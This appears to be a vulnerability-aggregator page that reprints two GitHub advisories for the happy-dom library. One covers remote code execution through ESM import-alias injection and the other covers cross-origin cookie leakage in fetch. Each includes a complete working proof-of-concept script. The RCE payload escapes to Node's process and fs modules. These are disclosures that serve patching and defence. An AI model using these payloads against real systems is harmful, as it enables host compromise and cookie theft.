Where
-Infinity
0
Severity
8.8
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

- happy-dom@17.0.0 - happy-dom@20.0.0 - happy-dom@20.1.0 - happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

text = 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions

- JavaScript evaluation is enabled with enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.

Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, '');

if (alias && name) { properties.push({ name, alias }); }

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

ts newCodeStart += let {${properties .map((property) => property.alias ? "${property.name}": ${property.alias} : property.name ) .join(', ')}} = $happydom.imports.get('${url}')${match[8]};

Consider the following source:

js import { missing as injected = globalThis.HAPPYDOMPWNED = 1337 } from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

js let { "missing": injected = globalThis.HAPPYDOMPWNED = 1337 } = $happydom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); }

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

js globalThis.constructor.constructor(return process)() .getBuiltinModule(node:fs) .mkdirSync( globalThis.constructor.constructor(return process)().cwd() + /HAPPYDOMRCEPROOF )

Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPYDOMRCEPROOF.

1. Create package.json

json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } }

2. Create dep.json

json {}

3. Create payload.mjs

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

js import { missing as injected = globalThis.HAPPYDOMPWNED = 1337 } from './dep.json' with { type: 'json' };

4. Create poc.mjs

js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPYDOMRCEPROOF'); rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } });

const script = window.document.createElement('script'); script.type = 'module';

script.textContent = import { missing as injected = globalThis.constructor.constructor(\return process\)() .getBuiltinModule(\node:fs\) .mkdirSync( globalThis.constructor.constructor(\return process\)().cwd() + \/HAPPYDOMRCEPROOF\ ) } from './dep.json' with { type: 'json' }; ;

window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log([+] Host filesystem reached: ${proofDirectory}); }

await window.happyDOM.close();

5. Run the control test

console npm install node --check payload.mjs

Expected result:

text SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC

console node poc.mjs

Expected result:

text [+] Host filesystem reached: /path/to/HAPPYDOMRCEPROOF

The existence of HAPPYDOMRCEPROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

text /poc/HAPPYDOMRCEPROOF

Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

js export { attackerexpression }

Its fix added identifier validation to the importName used by the export { ... } handler:

ts if ( exportName && importName && VALIDVARIABLENAMEREGEXP.test(importName) ) { // ... }

This report uses a different parsing and code-generation path:

js import { name as maliciousalias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALIDVARIABLENAMEREGEXP can be reused:

diff - if (alias && name) { + if (alias && name && VALIDVARIABLENAMEREGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record

- Testing date: 2026-09-17 - Duplicate check updated: 2026-09-20 - Platform: Windows 11 - Node.js: 24.14.1 - Latest tested package: happy-dom@20.14.5 - Source tag: v20.14.5 - Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318 - First confirmed affected version: 17.0.0 - Confirmed unaffected version: 16.8.1 - Docker environment: Node 24 Alpine - No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false );

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom');

async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); }

async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGEHOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.APIHOST || 'b.127.0.0.1.nip.io';

console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log( Page Origin Host : ${pageHost}); console.log( Request Target Host: ${apiHost}); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log('');

await dns.lookup(pageHost); await dns.lookup(apiHost);

const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); });

const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); });

const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1');

const browser = new Browser();

try { const context = browser.defaultContext;

// Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = http://${pageHost}:${pagePort}/dashboard; page.mainFrame.window.document.cookie = 'pagecookie=PAGEONLY';

// Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = http://${apiHost}:${apiPort}/seed; apiSeedPage.mainFrame.window.document.cookie = 'apicookie=APIONLY';

// Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(http://${apiHost}:${apiPort}/data, { credentials: 'include' }); await res.text();

const leakedPageCookie = observedCookieHeader.includes('pagecookie=PAGEONLY'); const expectedApiCookie = observedCookieHeader.includes('apicookie=APIONLY');

console.log('Expected:'); console.log(' Request to target host should include "apicookie=APIONLY".'); console.log(' Request should NOT include "pagecookie=PAGEONLY".'); console.log('');

console.log('Actual:'); console.log( request cookie header: "${observedCookieHeader || '(empty)'}"); console.log( includes pagecookie: ${leakedPageCookie}); console.log( includes apicookie : ${expectedApiCookie}); console.log('');

if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } }

run().catch((error) => { console.error(error); process.exit(1); });

Environment: 1. Node.js >= 22 2. happy-dom 20.6.1 3. DNS names resolving to local loopback via .127.0.0.1.nip.io

Reproduction steps: 1. Set page host cookie: pagecookie=PAGEONLY on a.127.0.0.1.nip.io 2. Set target host cookie: apicookie=APIONLY on b.127.0.0.1.nip.io 3. From page host, call fetch to target host with credentials: "include" 4. Observe Cookie header received by the target host

Expected: 1. Include apicookie=APIONLY 2. Do not include pagecookie=PAGEONLY

Actual (observed): 1. Includes pagecookie=PAGEONLY 2. Does not include apicookie=APIONLY

Observed output: text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS)

Expected: Request to target host should include "apicookie=APIONLY". Request should NOT include "pagecookie=PAGEONLY".

Actual: request cookie header: "pagecookie=PAGEONLY" includes pagecookie: true includes apicookie : false

Result: VULNERABLE behavior reproduced.

Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203